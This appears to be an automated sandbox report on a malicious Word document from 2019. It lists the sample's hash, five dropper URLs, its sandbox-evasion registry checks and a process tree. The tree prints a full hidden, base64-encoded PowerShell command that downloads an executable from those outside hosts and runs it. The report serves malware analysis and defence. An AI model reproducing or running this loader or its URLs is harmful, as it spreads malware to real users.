Analysis
-
max time kernel
20s -
resource
win10v191014 -
submitted
13-12-2019 03:36
General
-
Target
8a2ad4aa38fdecf72f89cf9789ae280ae7c76b82ba1b5b31f6a799050b7ed47b.doc
-
Sample
191213-nzhd71gz22
-
SHA256
8a2ad4aa38fdecf72f89cf9789ae280ae7c76b82ba1b5b31f6a799050b7ed47b
Score
8/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://osyron.com/css/yASnV04o/
exe.dropper
http://parkysplace.com/images/d5b8/
exe.dropper
http://shreeharisales.org/wp-admin/81muyx/
exe.dropper
http://aviationinsiderjobs.com/wp-includes/EMtgs/
exe.dropper
http://www.lagarehombourg.be/wp-content/TLx/
Signatures
-
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXE185.exepid process 4984 WINWORD.EXE 4768 185.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
SppExtComObj.exePowershell.exedescription pid process target process PID 2620 wrote to memory of 4424 2620 SppExtComObj.exe SLUI.exe PID 3636 wrote to memory of 4768 3636 Powershell.exe 185.exe -
Executes dropped EXE 1 IoCs
Processes:
185.exepid process 4768 185.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4984 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4984 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 3636 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 3636 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8a2ad4aa38fdecf72f89cf9789ae280ae7c76b82ba1b5b31f6a799050b7ed47b.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABVAGEAcwBkAHgAYQBmAGgAbgBjAG8AawA9ACcAVgBjAGoAZgB6AHkAZAB0ACcAOwAkAFEAcgBzAHAAeABrAG0AbQAgAD0AIAAnADEAOAA1ACcAOwAkAFUAbwBlAHQAbAB3AGEAeAByAG8APQAnAEIAdQBsAHcAZwB4AHMAbwBmAHoAbwAnADsAJABKAG0AcwBtAGoAZwBoAGYAcwBtAGMAbwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAHIAcwBwAHgAawBtAG0AKwAnAC4AZQB4AGUAJwA7ACQAQQBoAG0AdgBzAGIAdwBlAHQAZABsAGIAPQAnAEYAbgBuAGEAcABwAG4AaAAnADsAJABaAGwAeAB2AG0AegBhAGoAZQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAGwAaQBlAG4AVAA7ACQAWgB5AGoAbABhAGMAZQBuAGIAPQAnAGgAdAB0AHAAOgAvAC8AbwBzAHkAcgBvAG4ALgBjAG8AbQAvAGMAcwBzAC8AeQBBAFMAbgBWADAANABvAC8AKgBoAHQAdABwADoALwAvAHAAYQByAGsAeQBzAHAAbABhAGMAZQAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBkADUAYgA4AC8AKgBoAHQAdABwADoALwAvAHMAaAByAGUAZQBoAGEAcgBpAHMAYQBsAGUAcwAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AOAAxAG0AdQB5AHgALwAqAGgAdAB0AHAAOgAvAC8AYQB2AGkAYQB0AGkAbwBuAGkAbgBzAGkAZABlAHIAagBvAGIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ARQBNAHQAZwBzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABhAGcAYQByAGUAaABvAG0AYgBvAHUAcgBnAC4AYgBlAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFQATAB4AC8AJwAuACIAcwBwAGAAbABpAHQAIgAoACcAKgAnACkAOwAkAEMAdwB2AGwAYQBlAHUAYQBqAHkAawA9ACcAQgB6AG4AagBqAGkAcgB6AHUAdAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAGwAYQByAGUAegByAGEAbABnAHQAIABpAG4AIAAkAFoAeQBqAGwAYQBjAGUAbgBiACkAewB0AHIAeQB7ACQAWgBsAHgAdgBtAHoAYQBqAGUALgAiAGQATwBXAG4AbABgAG8AYQBkAGAARgBpAGAAbABlACIAKAAkAFkAbABhAHIAZQB6AHIAYQBsAGcAdAAsACAAJABKAG0AcwBtAGoAZwBoAGYAcwBtAGMAbwBsACkAOwAkAFMAegB5AGUAaAB0AHcAeQA9ACcARwBrAGUAcABqAGwAcgBwAHIAcQBhAGwAYQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAbQBzAG0AagBnAGgAZgBzAG0AYwBvAGwAKQAuACIAbABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADEAOAA5ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQASgBtAHMAbQBqAGcAaABmAHMAbQBjAG8AbAApADsAJABaAHQAbwBpAGQAegB6AHoAPQAnAEMAZgByAHIAcwBvAGkAZABnAHkAZgB0ACcAOwBiAHIAZQBhAGsAOwAkAEMAZABlAHYAegBnAHkAdwB5AGQAdQA9ACcASwBzAGcAbABlAGMAbwBqAG0AeQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGMAeAB2AGgAeQBmAGwAegBmAHoAdgBkAD0AJwBWAGYAaABuAHgAcABkAHkAawAnAA==1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\185.exe"C:\Users\Admin\185.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE